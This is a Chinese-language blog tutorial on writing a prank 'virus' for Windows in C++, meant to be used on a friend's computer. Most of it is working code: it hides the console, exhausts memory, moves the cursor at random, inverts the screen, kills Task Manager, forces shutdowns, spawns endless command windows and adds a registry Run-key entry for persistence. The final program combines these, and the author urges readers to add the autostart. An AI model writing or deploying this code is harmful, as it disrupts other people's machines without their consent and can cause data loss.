我又来啦๑乛◡乛๑
今天我们来做一个小病毒。可以去找你的好朋友去整了!
进入正文
隐藏控制台
你想关也关不了了......
#include <windows.h>
using namespace std;int main() {
HWND hwnd;
hwnd = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
if (hwnd) {
ShowOwnedPopups(hwnd, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
ShowWindow(hwnd, SW_HIDE);//隐藏窗口
}
while (1){
new char;
}
return 0;
}
乱移鼠标指针
你控制不了你的鼠标了!
#include <windows.h>
#include <ctime>using namespace std;
int main()
{
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1) {//死循环
SetCursorPos(rand()%x,rand()%y);
}
system("pause");
return 0;
}
屏幕反色
开始好看了!
#include <Windows.h>
int main() {
while(1){
int cx=GetSystemMetrics(SM_CXSCREEN);
int cy=GetSystemMetrics(SM_CYSCREEN);
HWND hwnds;
hwnds = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
if (hwnds) {
ShowOwnedPopups(hwnds, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
ShowWindow(hwnds, SW_HIDE);//隐藏窗口
}
HDC hdcs = GetDC(0);
BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY);
Sleep(1000);
}
}
禁用任务管理器
你再聪明也没用!
#include <bits/stdc++.h>
using namespace std;int main()
{
system("taskkill /f /im taskmgr.exe");
return 0;
}
关机
1、立刻关机
比较简单
#include <bits/stdc++.h>
using namespace std;int main()
{
system("shutdown -p");
return 0;
}
2、定时关机
哈哈哈!
#include <bits/stdc++.h>
using namespace std;int main()
{
system("shutdown -s -t 100"); //100秒后关机
return 0;
}
生成无数个命令行
cmd:凸(艹皿艹 ) ,我真快乐!
#include <bits/stdc++.h>
using namespace std;int main()
{
while(1)
system("start");
return 0;
}
开机自启(想想都好玩)
如果搞一个开机自启,你的电脑就GG了!
HKEY k;
if(RegOpenKeyEx(HKEY_CURRENT_USER,_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &k) == ERROR_SUCCESS)
{
TCHAR str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegSetValue(k, nullptr, 0, strDir, nLength);
if (result != ERROR_SUCCESS || _tcscmp(str, strDir) != 0)
{
RegSetValueEx(k, _T("GISRestart"), 0, REG_SZ, (LPBYTE)str, (lstrlen(str) + 1) * sizeof(TCHAR));
RegCloseKey(k);
}
}
制作
真正的游戏开始了。。。。。。
#include <windows.h>
#include <conio.h>
#include <bits/stdc++.h>
#include <math.h>
#include <time.h>
using namespace std;int main()
{
system("shutdown -s -t 100 你是猪吗");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
HWND hwnds;
hwnds = FindWindow("ConsoleWindowClass", NULL);
if (hwnds) {
ShowOwnedPopups(hwnds, SW_HIDE);
ShowWindow(hwnds, SW_HIDE);
}
while(1){
system("taskkill /f /im taskmgr.exe");
system("start");
int cx=GetSystemMetrics(SM_CXSCREEN);
int cy=GetSystemMetrics(SM_CYSCREEN);
HDC hdcs = GetDC(0);
BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY);
SetCursorPos(rand() % x,rand() % y);
}
return 0;
}
这个病毒也有一些瑕疵,开机自启我没用上,感兴趣的可以加上开机自启试一试。嘿嘿嘿。
感谢H.Y_C ⁹⁹⁹⁹⁹⁹⁺带给我的创作灵感!!!!